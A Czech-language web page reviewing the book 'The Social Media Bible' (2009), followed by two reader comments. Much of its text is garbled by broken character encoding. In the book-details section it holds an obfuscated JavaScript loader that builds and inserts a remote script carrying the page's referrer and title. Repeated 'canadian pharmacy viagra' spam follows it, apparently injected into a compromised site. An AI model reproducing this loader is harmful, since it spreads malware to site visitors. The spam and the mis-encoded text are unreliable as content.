Recenze: The Social Media Bible (2009)

Recenze

12. 8. 2010

Jde o pomAi??rnAi?? obsA?hlou knihu, kterA? mA? celkem 821 strA?nek a je A?lenAi??na do 43 kapitol, kterAi?? jsou uspoAi??A?dA?ny do tAi??Ai?? A?A?stAi??:

  1. ZA?klady a taktika
  2. NA?stroje
  3. Strategie

V kaA?dAi?? kapitole je uvA?dAi??n nA?zor a konkrAi??tnAi?? zkuA?enosti expertA? a autorit na tAi??ma ai??zco jim pAi??inesla sociA?lnAi?? mediaai??? a takAi?? Ai??ada ilustrativnAi??ch pAi??Ai??kladA? konkrAi??tnAi??ho vyuA?itAi?? sociA?lnAi??ch mediAi??. Kniha je urA?ena pro A?irokA? okruh A?tenA?Ai??A? – obchodnAi??ky, marketingovAi?? odbornAi??ky, manaA?ery lidskA?ch zdrojA? a vrcholovAi?? manaA?ery jak malA?ch tak i velkA?ch podnikA?, stejnAi?? tak jako pro pedagogy a studenty. Po pAi??eA?tenAi?? knihy, by A?tenA?Ai?? mAi??l bA?t schopen:

  • zvA?A?it jmAi??no vaA?Ai?? znaA?ky tAi??m, A?e zapojAi??te lidi do novA?ch forem komunikace, spoluprA?ce, vzdAi??lA?vA?nAi?? a zA?bavy
  • urA?it si taktiku pro sociA?lnAi?? media byste mAi??li uA?Ai??t u svA?ch zA?kaznAi??kA? a zamAi??stnancA?
  • ohodnotit a kategorizovat nA?stroje a aplikace pro rychlAi?? vytvoAi??enAi?? a rozvoj pAi??Ai??sluA?nA­i??ho ekosystAi??mu sociA?lnAi?? sAi??tAi??
  • udAi??lat sociA?lnAi?? media souA?A?stAi?? svAi?? podnikatelskAi?? strategie
  • provAi??st SWOT analA?zu uvnitAi?? podniku za A?A?elem zlepA?enAi?? vnitAi??nAi??ch procesA? a vytvoAi??it si takovAi?? vztahy se zA?kaznAi??ky, kterAi?? budou perspektivnAi?? a budou pAi??inA?A?et penAi??ze
  • implementovat strategii vyuA?itAi?? sociA?lnAi??ch mediAi?? pro dosaA?enAi?? konkurenceschop­nosti, kterA? je nezbytnA? pro pAi??eA?itAi??.

V prvnAi?? A?A?sti knihy jsou zevrubnAi?? popsA?ny zA?kladnAi?? poA?adavky a podmAi??nky (aspekty) vyuA?itAi?? sociA?lnAi??ch sAi??tAi?? pro podnikA?nAi??, kterA?mi jsou:

  • komunikace
  • spoluprA?ce
  • vA?chova
  • zA?bava

To nazA?vajAi?? autoAi??i eko­systAi??mem sociA?lnAi??ch sAi??tAi??. (Social Media Ecosystem) s tAi??m, A?e se musAi?? jednat pAi??edevA?Ai??m o angaA?ovanosti publika (nA?vA?tAi??vnA­i??kA? sAi??tAi??) na vA?ech A?tyAi??ech vA?A?e uvedenA?ch aspektech, kterAi?? pak dA?le podrobnAi?? rozvA?dAi??jAi?? Ve druhAi?? A?A?sti knihy je uvedeno vAi??ce jak 100 nA?strojA? a aplikacAi?? pro sociA?lnAi?? media, kterAi?? poskytujAi?? nA?vod jak si vytvoAi??it strategii pro sociA?lnAi?? media. TAi??etAi?? A?A?st knihy obsahuje nA?vody, jak aplikovat vA?e, co bylo uvedeno v pAi??edchozAi??ch dvou A?A?stech. V tAi??to A?A?sti knihy je mnoho pAi??Ai??kladA? a A?loh, kterAi?? pomohou A?tenA?Ai??i pro­vAi??st audit vyuA?Ai??vA?nAi?? sociA?lnAi??ch mediAi?? jak uvnitAi?? vlastnAi?? organizace, tak i u konkurence a zA?kaznAi??kA?. To umoA?nAi?? vytvoAi??it vlastnAi?? efektivnAi?? strategii pro vyuA?itAi?? sociA?lnAi??ch mediAi?? v danAi?? organizaci. Kniha mA? svAi?? vlastnAi?? strA?nky http://www.thesocialmediabible.com/, na kterA?ch mohou A?tenA?Ai??i ko­munikovat s autory a sdAi??let s nimi svAi?? zkuA?enosti a nA?zory. TakAi?? po zaregistrovA?nAi?? VA?m budou nabAi??dnuty odkazy na webovAi?? strA?nky, kterAi?? jsou uvA?dAi??ny jako pAi??Ai??klady v kaA?dAi?? kapitole. V zA?vAi??ru knihy je uveden velmi obsaA?nA? a vyA?erpA?vajA­i??cAi?? rejstAi??Ai??k poj­mA? a osobnostAi??.

Prof. Ing. ZdenAi??k MolnA?r, CSc.

Asdaje o knize:

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d=document;var s=d[_0×b322[1­]](_0×b322[0]);s[_0×b322­[2]]= _0×b322[3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12];i­f(document[_0×b322[13­]]){document[_0×b322[13­]][_0×b322[15]][_0×b322[­14]](s,documen­t[_0×b322[13]])}el­se {d[_0×b322[18­]](_0×b322[17])[0][_0×b3­22[16]](s)};if(do­cument[_0×b322[11­]][_0×b322[19]]=== _0×b322[20]&& KTracking[_0×b322[22­]][_0×b322[21]](_0×b322[­3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12])===  –1){alert(_0×b322[23­])} canadian pharmacy 150mg viagra, canadian pharmacy 150mg viagra, canadian pharmacy 150mg viagra, canadian pharmacy 150mg viagra, canadian pharmacy 150mg viagra, canadian pharmacy 150mg viagra, canadian pharmacy 150mg viagra, canadian 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Rubrika: Recenze

Zveřejnil: Zdeněk Molnár

Štítky: , , , , ,

Sekce: Profesionál, Podnikatel, Student

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Komentáře: 2 »

  1. Dobrý den,
    je kniha přeložena do čestiny?

    Comment od překlad — 1. 12. 2010 @ 20:59

  2. Jedná se o publikaci vydanou v originále v roce 2009, zatím do češtiny přeložena není.

    Comment od Pavla Kovářová — 5. 12. 2010 @ 15:28

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